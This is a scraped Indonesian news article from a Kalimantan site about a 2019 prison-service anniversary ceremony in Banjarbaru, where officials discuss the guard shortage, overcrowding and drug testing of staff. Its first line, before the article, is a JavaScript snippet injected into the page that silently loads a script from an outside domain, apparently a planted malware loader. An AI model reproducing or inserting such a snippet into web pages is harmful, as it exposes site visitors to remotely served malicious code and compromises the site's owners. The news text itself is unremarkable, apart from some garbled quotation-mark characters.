(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Rasio perbandingan narapidana dengan petugas sipir, masih menjadi PR utama jajaran Kemenkumham, pada peringatan Hari Bhakti Pemasyarakatan ke-55, soal kekurangan sipir alias penjaga di Lapas/Rutan di Kalsel belum juga tuntas.
Seperti yang diutarakan Kepala Divisi Pemasyarakatan Kanwil Kemenkumham Kalsel, Alfi Zahrin. Ia menyebutkan hingga kini jumlah penjaga tahanan atau sipir penjara baik di Lapas dan Rutan yang ada di Kalimantan Selatan (Kalsel) masih belum cukup ideal.
“Memang jumlah SDM kita masih kurang. Idealnya kalau perbandingannya satu petugas berbanding dengan 20 warga binaan. Kalau sekarang satu petugas berbanding dengan 60 warga binaan,†ujarnya kepada sejumlah awak media, usai peringatan apel Hari Bhakti Permasyarakatan ke-55, Kementriaan Hukum dan Hak Asasi Manusia (Kemenkumham) Kalsel di Lapas Kelas III Banjarbaru, Sabtu (27/4/2019) pagi.
Padahal kondisi Lapas di Kalsel saat ini sudah over kapasitas, Kadivpas mengatakan, dengan bertambahnya pegawai sipir setiap tahun maka dapat menciptakan suasana yang lebih kondusif di Lapas dan Rutan di Kalsel.
“Ada kurang lebih 10 ribu narapidana di Kalsel. Dimana 60 persennya terjerat kasus Narkoba dan kita terus lakukan pembinaan. Dengan petugas saat ini sudah bisa memaksimalkan Lapas dan Rutan agar berjalan dengan kondusif,†katanya.
Kemenkumhan Kalsel juga menegaskan komitemennya, untuk memberikan sanksi tegas kepada petugas yang terbukti menggunakan narkoba. Hal ini dibuktikan dengan antisipasi pencegahan yang selalu dilakukan lewat tes urine.
Sementara itu, Kakanwil Kemenkumham Kalsel, Ferdinand Siagian saat apel mengingatkan kepada petugas pemasyarakatan untuk bersikap profesional dalam bertugas. Ia mengatakan peringatan Hari Bhakti Pemasyarakatan bukan hanya sebagai upaya mengenang sejarah. Namun menjadi daya pacu untuk meningkatkan pengabdian dalam menciptakan pemasyarakatan yang lebih baik.
“Hari Bakti Pemasyarakatan ke-55 tentu tidak hanya dijadikan sebagai nostalgia. Moment ini juga menjadi semangat dan motivasi untuk meneruskan semangat juang dan pengabdian para pendahulu yang telah menegakkan dasar-dasar pemasyarakatan,†katanya.
Ferdinand Siagian juga mengatakan, dalam membina narapidana banyak indikator yang mampu membawa keberhasilan. Tidak lepas dari kemampuan kemasyarakatan dalam memperbaiki dan meningkatkan kualitas narapidana baik dari dimensi kepribadian maupun kemandirian.
“Tugas yang dicita-citakan pendahulu kita agar memperbaiki dan meningkatkan kualitas narapidana. Baik dalam dimensi kepribadian, mental, spiritual, maupun dalam dimensi kemandirian. Bukan hanya secara ekonomi, mampu mandiri dalam menjalankan kehidupannya kembali. Menjadi warga negara yang berguna bagi bangsa dan negara,†beber Ferdinand.
Apel peringatan hari Bhakti Pemasyarakatan ini turut diikuti ratusan pegawai Lapas dari berbagai wilayah di Kalsel. Suasana kian meriah saat tarian tradisional oleh petugas Lapas serta diakhiri dengan pemotongan tumpeng oleh Kakanwil Kemenkumham Kalsel, Kadivpas Kemenkumham Kalsel didampingi Kepala Lapas Kelas III Banjarbaru, Abdul Aziz. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.